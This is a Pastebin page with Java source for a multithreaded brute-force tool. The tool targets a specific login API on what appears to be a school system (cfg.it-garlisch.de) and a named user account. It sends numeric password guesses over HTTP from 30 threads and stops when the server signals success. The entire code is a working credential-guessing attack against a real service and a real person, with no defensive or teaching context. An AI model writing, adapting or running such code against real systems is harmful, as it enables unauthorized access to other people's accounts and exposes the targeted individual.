Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package brutforce;
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
- import java.net.URL;
- import java.net.URLConnection;
- public class BruteforcePw {
- private int anzahlThreads = 30;
- private String name = "lukas.spreer";
- private int tPw = 31200;
- public boolean pwFound;
- public boolean[] fertigeThreads = new boolean[anzahlThreads];
- Thread[] allThreads = new Thread[anzahlThreads];
- public void send() {
- pwFound = false;
- for(int i = 0; i < anzahlThreads; i++){
- fertigeThreads[i] = true;
- }
- try {
- do {
- int threadNummer = 0;
- for (boolean threadFertig : fertigeThreads) {
- if (threadFertig) {
- allThreads[threadNummer] = new BruteForceThread(tPw, name, threadNummer, this);
- allThreads[threadNummer].start();
- fertigeThreads[threadNummer] = false;
- tPw--;
- }
- threadNummer++;
- }
- Thread.sleep(100);
- } while (!(pwFound));
- System.out.println("Success");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- public static void main(String[] args) {
- BruteforcePw mainController = new BruteforcePw();
- mainController.send();
- }
- private class BruteForceThread extends Thread {
- private BruteforcePw mainController;
- private int tPw, threadNummer;
- private String name;
- private String response;
- BruteForceThread(int tPw, String name, int threadNummer, BruteforcePw o) {
- super();
- this.mainController = o;
- this.tPw = tPw;
- this.name = name;
- this.threadNummer = threadNummer;
- }
- @Override
- public void run() {
- boolean success;
- do {
- try {
- URL url = new URL(
- "http://www.cfg.it-garlisch.de/KGS/api/1.0.0/live/login.php?username=" + name + "&password=" + tPw + "&version=1.0.0");// http://www.cfg.it-garlisch.de/KGS/api/1.0.0/live/login.php?username="
- // +
- // name
- // + "&password=" + tPw + "&version=1.0.0
- URLConnection conn = url.openConnection();
- BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
- String line;
- while ((line = br.readLine()).equals("")) {
- System.out.print("");
- }
- this.response = "" + line.charAt(12);
- System.out.println(name + " " + tPw + "\n" + response);
- br.close();
- success = true;
- } catch (Exception e) {
- success = false;
- System.out.println("Error while " + name + " " + tPw);
- }
- } while (!success);
- if (response.equals("1")) {
- mainController.pwFound = true;
- }
- mainController.fertigeThreads[threadNummer] = true;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement